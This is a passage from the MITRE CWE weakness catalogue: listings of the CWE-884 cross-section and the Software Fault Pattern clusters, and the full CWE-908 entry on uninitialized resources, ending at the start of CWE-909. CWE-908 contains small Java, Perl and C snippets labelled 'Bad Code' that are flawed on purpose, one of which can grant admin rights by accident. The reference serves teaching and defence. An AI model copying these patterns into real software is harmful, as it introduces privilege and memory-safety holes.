## CWE-884: CWE Cross-section

View ID: 884 (View: Explicit Slice)

Status: Incomplete

### Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>158</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	0	out of	244
<b>Weaknesses</b>	157	out of	719
<b>Compound_Elements</b>	1	out of	8

### Relationships

Nature	Type	ID	Name	V	Page
HasMember	B	14	Compiler Removal of Code to Clear Buffers	884	12
HasMember	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	884	30
HasMember	B	23	Relative Path Traversal	884	40
HasMember	B	36	Absolute Path Traversal	884	64
HasMember	B	41	Improper Resolution of Path Equivalence	884	73
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	884	91
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	884	121
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	884	131
HasMember	B	88	Argument Injection or Modification	884	155
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	884	159



Nature	Type	ID	Name	V	Page
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	884	169
HasMember	C	94	Improper Control of Generation of Code ('Code Injection')	884	173
HasMember	B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	884	177
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	884	181
HasMember	B	99	Improper Control of Resource Identifiers ('Resource Injection')	884	190
HasMember	B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	884	211
HasMember	B	117	Improper Output Neutralization for Logs	884	223
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	884	234
HasMember	B	129	Improper Validation of Array Index	884	258
HasMember	B	131	Incorrect Calculation of Buffer Size	884	269
HasMember	B	134	Uncontrolled Format String	884	277
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	884	282
HasMember	B	170	Improper Null Termination	884	328
HasMember	V	173	Improper Handling of Alternate Encoding	884	335
HasMember	V	174	Double Decoding of the Same Data	884	336
HasMember	V	175	Improper Handling of Mixed Encoding	884	338
HasMember	B	179	Incorrect Behavior Order: Early Validation	884	345
HasMember	C	185	Incorrect Regular Expression	884	355
HasMember	B	190	Integer Overflow or Wraparound	884	361
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	884	367
HasMember	B	193	Off-by-one Error	884	371
HasMember	C	203	Information Exposure Through Discrepancy	884	389
HasMember	B	209	Information Exposure Through an Error Message	884	397
HasMember	B	212	Improper Cross-boundary Removal of Sensitive Data	884	405
HasMember	B	222	Truncation of Security-relevant Information	884	414
HasMember	B	223	Omission of Security-relevant Information	884	414
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	884	420
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	884	434
HasMember	B	248	Uncaught Exception	884	438
HasMember	C	250	Execution with Unnecessary Privileges	884	440
HasMember	B	252	Unchecked Return Value	884	446
HasMember	B	253	Incorrect Check of Function Return Value	884	451
HasMember	V	262	Not Using Password Aging	884	466
HasMember	B	263	Password Aging with Long Expiration	884	467
HasMember	B	266	Incorrect Privilege Assignment	884	471
HasMember	B	267	Privilege Defined With Unsafe Actions	884	473
HasMember	B	268	Privilege Chaining	884	475
HasMember	B	270	Privilege Context Switching Error	884	479
HasMember	C	271	Privilege Dropping / Lowering Errors	884	480
HasMember	B	273	Improper Check for Dropped Privileges	884	485
HasMember	B	283	Unverified Ownership	884	498
HasMember	B	290	Authentication Bypass by Spoofing	884	514
HasMember	B	294	Authentication Bypass by Capture-replay	884	520
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	884	523
HasMember	V	299	Improper Check for Certificate Revocation	884	528
HasMember	C	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	884	530

Nature	Type	ID	Name	V	Page
HasMember	V	301	Reflection Attack in an Authentication Protocol	884	532
HasMember	B	304	Missing Critical Step in Authentication	884	535
HasMember	V	306	Missing Authentication for Critical Function	884	537
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	884	541
HasMember	B	308	Use of Single-factor Authentication	884	544
HasMember	B	312	Cleartext Storage of Sensitive Information	884	553
HasMember	B	319	Cleartext Transmission of Sensitive Information	884	562
HasMember	B	322	Key Exchange without Entity Authentication	884	567
HasMember	B	323	Reusing a Nonce, Key Pair in Encryption	884	568
HasMember	B	325	Missing Required Cryptographic Step	884	570
HasMember	B	327	Use of a Broken or Risky Cryptographic Algorithm	884	573
HasMember	B	331	Insufficient Entropy	884	586
HasMember	B	334	Small Space of Random Values	884	589
HasMember	C	335	PRNG Seed Error	884	591
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	884	593
HasMember	B	341	Predictable from Observable State	884	596
HasMember	B	347	Improper Verification of Cryptographic Signature	884	604
HasMember	B	348	Use of Less Trusted Source	884	605
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	884	607
HasMember	C	352	Cross-Site Request Forgery (CSRF)	884	611
HasMember	B	353	Missing Support for Integrity Check	884	616
HasMember	B	354	Improper Validation of Integrity Check Value	884	618
HasMember	B	364	Signal Handler Race Condition	884	635
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	884	642
HasMember	B	369	Divide By Zero	884	647
HasMember	C	390	Detection of Error Condition Without Action	884	671
HasMember	B	392	Missing Report of Error Condition	884	677
HasMember	B	393	Return of Wrong Status Code	884	678
HasMember	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	884	688
HasMember	B	406	Insufficient Control of Network Message Volume (Network Amplification)	884	704
HasMember	B	407	Algorithmic Complexity	884	706
HasMember	B	408	Incorrect Behavior Order: Early Amplification	884	707
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	884	708
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	884	742
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	884	756
HasMember	B	451	User Interface (UI) Misrepresentation of Critical Information	884	763
HasMember	B	453	Insecure Default Variable Initialization	884	766
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	884	767
HasMember	B	455	Non-exit on Failed Initialization	884	769
HasMember	B	456	Missing Initialization of a Variable	884	770
HasMember	V	467	Use of sizeof() on a Pointer Type	884	784
HasMember	B	468	Incorrect Pointer Scaling	884	786
HasMember	B	469	Use of Pointer Subtraction to Determine Size	884	788
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	884	789
HasMember	B	476	NULL Pointer Dereference	884	798
HasMember	V	478	Missing Default Case in Switch Statement	884	804
HasMember	B	480	Use of Incorrect Operator	884	809

Nature	Type	ID	Name	V	Page
HasMember	V	483	Incorrect Block Delimitation	884	815
HasMember	B	484	Omitted Break Statement in Switch	884	817
HasMember	V	486	Comparison of Classes by Name	884	820
HasMember	B	494	Download of Code Without Integrity Check	884	835
HasMember	V	495	Private Array-Typed Field Returned From A Public Method	884	838
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	884	839
HasMember	V	498	Cloneable Class Containing Sensitive Information	884	842
HasMember	V	499	Serializable Class Containing Sensitive Data	884	844
HasMember	V	502	Deserialization of Untrusted Data	884	847
HasMember	B	521	Weak Password Requirements	884	861
HasMember	B	522	Insufficiently Protected Credentials	884	862
HasMember	V	545	Use of Dynamic Class Loading	884	884
HasMember	V	546	Suspicious Comment	884	885
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	884	885
HasMember	V	561	Dead Code	884	895
HasMember	V	563	Assignment to Variable without Use ('Unused Variable')	884	899
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	884	903
HasMember	B	587	Assignment of a Fixed Address to a Pointer	884	927
HasMember	B	595	Comparison of Object References Instead of Object Contents	884	936
HasMember	V	601	URL Redirection to Untrusted Site ('Open Redirect')	884	942
HasMember	B	602	Client-Side Enforcement of Server-Side Security	884	947
HasMember	B	605	Multiple Binds to the Same Port	884	951
HasMember	V	617	Reachable Assertion	884	964
HasMember	B	621	Variable Extraction Error	884	969
HasMember	B	627	Dynamic Variable Evaluation	884	975
HasMember	B	628	Function Call with Incorrectly Specified Arguments	884	977
HasMember	G	642	External Control of Critical State Data	884	993
HasMember	B	648	Incorrect Use of Privileged APIs	884	1004
HasMember	B	667	Improper Locking	884	1032
HasMember	B	672	Operation on a Resource after Expiration or Release	884	1039
HasMember	B	674	Uncontrolled Recursion	884	1042
HasMember	B	676	Use of Potentially Dangerous Function	884	1044
HasMember	B	681	Incorrect Conversion between Numeric Types	884	1058
HasMember	B	698	Execution After Redirect (EAR)	884	1079
HasMember	B	708	Incorrect Ownership Assignment	884	1108
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	884	1121
HasMember	C	756	Missing Custom Error Page	884	1151
HasMember	B	763	Release of Invalid Pointer or Reference	884	1164
HasMember	B	770	Allocation of Resources Without Limits or Throttling	884	1175
HasMember	B	772	Missing Release of Resource after Effective Lifetime	884	1183
HasMember	V	783	Operator Precedence Logic Error	884	1200
HasMember	B	786	Access of Memory Location Before Start of Buffer	884	1205
HasMember	B	788	Access of Memory Location After End of Buffer	884	1208
HasMember	B	798	Use of Hard-coded Credentials	884	1219
HasMember	B	805	Buffer Access with Incorrect Length Value	884	1230
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	884	1239
HasMember	B	822	Untrusted Pointer Dereference	884	1250
HasMember	B	825	Expired Pointer Dereference	884	1255
HasMember	C	829	Inclusion of Functionality from Untrusted Control Sphere	884	1262
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	884	1273

Nature	Type	ID	Name	V	Page
HasMember	B	838	Inappropriate Encoding for Output Context	884	1277
HasMember	B	839	Numeric Range Comparison Without Minimum Check	884	1279
HasMember	B	841	Improper Enforcement of Behavioral Workflow	884	1284
HasMember	G	862	Missing Authorization	884	1299
HasMember	G	863	Incorrect Authorization	884	1304

## CWE-885: SFP Primary Cluster: Risky Values

Category ID: 885 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1393

## CWE-886: SFP Primary Cluster: Unused entities

Category ID: 886 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	482	Comparing instead of Assigning	888	814
ParentOf	V	561	Dead Code	888	895
ParentOf	V	563	Assignment to Variable without Use ("Unused Variable")	888	899
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323

## CWE-887: SFP Primary Cluster: API

Category ID: 887 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the API cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

## CWE-888: Software Fault Pattern (SFP) Clusters

View ID: 888 (View: Graph) Status: Incomplete

### Objective

CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
Total	705	out of	1003
Views	0	out of	32
Categories	79	out of	244
Weaknesses	626	out of	719

CWEs in this view		Total CWEs
Compound Elements	0 out of	8

## View Audience

Applied Researchers

Academic Researchers

Software Vendors

## Relationships

Nature	Type	ID	Name	V	Page
HasMember	C	885	SFP Primary Cluster: Risky Values	888	1323
HasMember	C	886	SFP Primary Cluster: Unused entities	888	1323
HasMember	C	887	SFP Primary Cluster: API	888	1323
HasMember	C	889	SFP Primary Cluster: Exception Management	888	1324
HasMember	C	890	SFP Primary Cluster: Memory Access	888	1324
HasMember	C	891	SFP Primary Cluster: Memory Management	888	1325
HasMember	C	892	SFP Primary Cluster: Resource Management	888	1325
HasMember	C	893	SFP Primary Cluster: Path Resolution	888	1325
HasMember	C	894	SFP Primary Cluster: Synchronization	888	1325
HasMember	C	895	SFP Primary Cluster: Information Leak	888	1326
HasMember	C	896	SFP Primary Cluster: Tainted Input	888	1326
HasMember	C	897	SFP Primary Cluster: Entry Points	888	1326
HasMember	C	898	SFP Primary Cluster: Authentication	888	1326
HasMember	C	899	SFP Primary Cluster: Access Control	888	1327
HasMember	C	901	SFP Primary Cluster: Privilege	888	1328
HasMember	C	902	SFP Primary Cluster: Channel	888	1328
HasMember	C	903	SFP Primary Cluster: Cryptography	888	1328
HasMember	C	904	SFP Primary Cluster: Malware	888	1329
HasMember	C	905	SFP Primary Cluster: Predictability	888	1329
HasMember	C	906	SFP Primary Cluster: UI	888	1329
HasMember	C	907	SFP Primary Cluster: Other	888	1330

## CWE-889: SFP Primary Cluster: Exception Management

Category ID: 889 (Category)

Status: Incomplete

## Description

## Summary

This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster.

## Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1375
ParentOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376
ParentOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376

## CWE-890: SFP Primary Cluster: Memory Access

Category ID: 890 (Category)

Status: Incomplete

## Description

## Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster.

## Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1380



Nature	Type	ID	Name	V	Page
ParentOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1381
ParentOf	C	972	SFP Secondary Cluster: Faulty String Expansion	888	1381
ParentOf	C	973	SFP Secondary Cluster: Improper NULL Termination	888	1381
ParentOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1381

## CWE-891: SFP Primary Cluster: Memory Management

Category ID: 891 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1380

## CWE-892: SFP Primary Cluster: Resource Management

Category ID: 892 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1385
ParentOf	C	983	SFP Secondary Cluster: Faulty Resource Use	888	1385
ParentOf	C	984	SFP Secondary Cluster: Life Cycle	888	1386
ParentOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1386

## CWE-893: SFP Primary Cluster: Path Resolution

Category ID: 893 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	979	SFP Secondary Cluster: Failed Chroot Jail	888	1383
ParentOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1384
ParentOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
213	Directory Traversal	

## CWE-894: SFP Primary Cluster: Synchronization

Category ID: 894 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	986	SFP Secondary Cluster: Missing Lock	888	1386
ParentOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1387
ParentOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1387
ParentOf	C	989	SFP Secondary Cluster: Unrestricted Lock	888	1387

## CWE-895: SFP Primary Cluster: Information Leak

Category ID: 895 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1378
ParentOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	1379
ParentOf	C	966	SFP Secondary Cluster: Other Exposures	888	1379
ParentOf	C	967	SFP Secondary Cluster: State Disclosure	888	1379

## CWE-896: SFP Primary Cluster: Tainted Input

Category ID: 896 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1390
ParentOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1390
ParentOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1391
ParentOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1391

## CWE-897: SFP Primary Cluster: Entry Points

Category ID: 897 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404

## CWE-898: SFP Primary Cluster: Authentication

Category ID: 898 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication cluster.



**Relationships**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1371
ParentOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1372
ParentOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1372
ParentOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1372
ParentOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1373
ParentOf	C	952	SFP Secondary Cluster: Missing Authentication	888	1373
ParentOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1373
ParentOf	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	1374
ParentOf	C	955	SFP Secondary Cluster: Unrestricted Authentication	888	1374

**CWE-899: SFP Primary Cluster: Access Control**

Category ID: 899 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Access Control cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	944	SFP Secondary Cluster: Access Management	888	1370
ParentOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1371
ParentOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1371

**CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors**

View ID: 900 (View: Graph)

Status: Incomplete

**Objective**

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

**View Data****View Metrics**

	CWEs in this view		Total CWEs
<b>Total</b>	<b>45</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	4	out of	244
<b>Weaknesses</b>	40	out of	719
<b>Compound_Elements</b>	1	out of	8

**View Audience****Developers**

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

**Software Customers**

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

**Educators**

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

**Relationships**

Nature	Type	ID	Name	V	Page
HasMember	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1308
HasMember	C	865	2011 Top 25 - Risky Resource Management	900	1309
HasMember	C	866	2011 Top 25 - Porous Defenses	900	1309
HasMember	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310

### References

"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011-06-27. < <http://cwe.mitre.org/top25> >.

## CWE-901: SFP Primary Cluster: Privilege

Category ID: 901 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Privilege cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	888	7
ParentOf	G	250	Execution with Unnecessary Privileges	888	440
ParentOf	B	266	Incorrect Privilege Assignment	888	471
ParentOf	B	267	Privilege Defined With Unsafe Actions	888	473
ParentOf	B	268	Privilege Chaining	888	475
ParentOf	B	269	Improper Privilege Management	888	477
ParentOf	B	270	Privilege Context Switching Error	888	479
ParentOf	G	271	Privilege Dropping / Lowering Errors	888	480
ParentOf	B	272	Least Privilege Violation	888	482
ParentOf	B	274	Improper Handling of Insufficient Privileges	888	487
ParentOf	V	520	.NET Misconfiguration: Use of Impersonation	888	861
ParentOf	B	653	Insufficient Compartmentalization	888	1011
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323

## CWE-902: SFP Primary Cluster: Channel

Category ID: 902 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Channel cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	956	SFP Secondary Cluster: Channel Attack	888	1374
ParentOf	C	957	SFP Secondary Cluster: Protocol Error	888	1374

## CWE-903: SFP Primary Cluster: Cryptography

Category ID: 903 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1375

Nature	Type	ID	Name	V	Page
ParentOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1375

## CWE-904: SFP Primary Cluster: Malware

Category ID: 904 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	888	105
ParentOf	C	506	Embedded Malicious Code	888	851
ParentOf	B	507	Trojan Horse	888	852
ParentOf	B	508	Non-Replicating Malicious Code	888	853
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	888	854
ParentOf	B	510	Trapdoor	888	854
ParentOf	B	511	Logic/Time Bomb	888	856
ParentOf	B	512	Spyware	888	857
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	968	SFP Secondary Cluster: Covert Channel	888	1380

## CWE-905: SFP Primary Cluster: Predictability

Category ID: 905 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	330	Use of Insufficiently Random Values	888	581
ParentOf	B	331	Insufficient Entropy	888	586
ParentOf	V	332	Insufficient Entropy in PRNG	888	587
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	888	588
ParentOf	B	334	Small Space of Random Values	888	589
ParentOf	C	335	PRNG Seed Error	888	591
ParentOf	B	336	Same Seed in PRNG	888	591
ParentOf	B	337	Predictable Seed in PRNG	888	592
ParentOf	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	888	593
ParentOf	B	339	Small Seed Space in PRNG	888	595
ParentOf	C	340	Predictability Problems	888	596
ParentOf	B	341	Predictable from Observable State	888	596
ParentOf	B	342	Predictable Exact Value from Previous Values	888	597
ParentOf	B	343	Predictable Value Range from Previous Values	888	598
ParentOf	B	344	Use of Invariant Value in Dynamically Changing Context	888	599
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323

## CWE-906: SFP Primary Cluster: UI

Category ID: 906 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the UI cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	995	SFP Secondary Cluster: Feature	888	1392
ParentOf	C	996	SFP Secondary Cluster: Security	888	1392
ParentOf	C	997	SFP Secondary Cluster: Information Loss	888	1392

## CWE-907: SFP Primary Cluster: Other

Category ID: 907 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Other cluster.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1323
ParentOf	C	975	SFP Secondary Cluster: Architecture	888	1382
ParentOf	C	976	SFP Secondary Cluster: Compiler	888	1382
ParentOf	C	977	SFP Secondary Cluster: Design	888	1382
ParentOf	C	978	SFP Secondary Cluster: Implementation	888	1383

## CWE-908: Use of Uninitialized Resource

Weakness ID: 908 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses a resource that has not been properly initialized.

#### Extended Description

This can have security implications when the associated resource is expected to have certain properties or values.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read memory

##### Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

##### Availability

##### DoS: crash / exit / restart

The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

##### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

**Java Example:***Bad Code*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

**Example 2:**

The following code intends to limit certain operations to the administrator only.

**Perl Example:***Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

**Example 3:**

The following code intends to concatenate a string to a variable and print the string.

**C Example:***Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

**Observed Examples**

Reference	Description
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-4197	Use of uninitialized memory may allow code execution.

Reference	Description
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

### Potential Mitigations

#### Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

#### Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

#### Implementation

Avoid race conditions (CWE-362) during initialization routines.

#### Build and Compilation




Run or compile the software with settings that generate warnings about uninitialized variables or data.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		452	Initialization and Cleanup Errors	699	766
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
CanFollow		909	Missing Initialization of Resource	1000	1332

### References

mercy. "Exploiting Uninitialized Data". Jan 2006. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

## CWE-909: Missing Initialization of Resource

Weakness ID: 909 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software does not initialize a critical resource.

#### Extended Description

